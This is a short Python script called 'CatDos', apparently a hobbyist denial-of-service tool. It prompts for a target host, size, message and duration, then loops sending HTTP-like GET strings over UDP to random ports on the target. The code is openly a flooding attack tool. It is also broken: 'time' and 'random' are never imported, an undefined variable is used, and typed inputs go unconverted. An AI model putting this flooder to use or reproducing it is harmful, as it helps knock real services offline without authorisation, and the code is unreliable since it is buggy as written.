CatDos

import socket
global host
global ip
global port
global whotoattack


print("   )\._.,--....,'``.")
print("  /,   _.. \   _\  (`._ ,.")
print(" `._.-(,_..'--(,_..'`-.;.' dos-cat")
print("")
whotoattack = raw_input("Target: ")
host = whotoattack
print("---")
package = raw_input("Size: ")
print("---")
message= raw_input ("Message to send: ")
print("---")
duration = raw_input("Duration (0 is infinite): ")
durclock = (lambda:0, time.clock)[duration > 0]
duration = (1, (durclock() + duration))[duration > 0]
packet = random._urandom(package)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("---")
print("An attack was launched on %s with %s bytes for %s seconds." % (target, package, duration))
while True:
        if (durclock() < duration):
                port = random.randint(1, 65535)
                sock.connect((host, port))
                sock.send( "GET /%s HTTP/1.1\r\n" % message )
                sock.sendto( "GET /%s HTTP/1.1\r\n" % message, (whotoattack, port) )
                sock.send( "GET /%s HTTP/1.1\r\n" % message )
        else:
                break
print("---")
print("The flood on %s lasted for %s seconds." % (whotoattack, duration))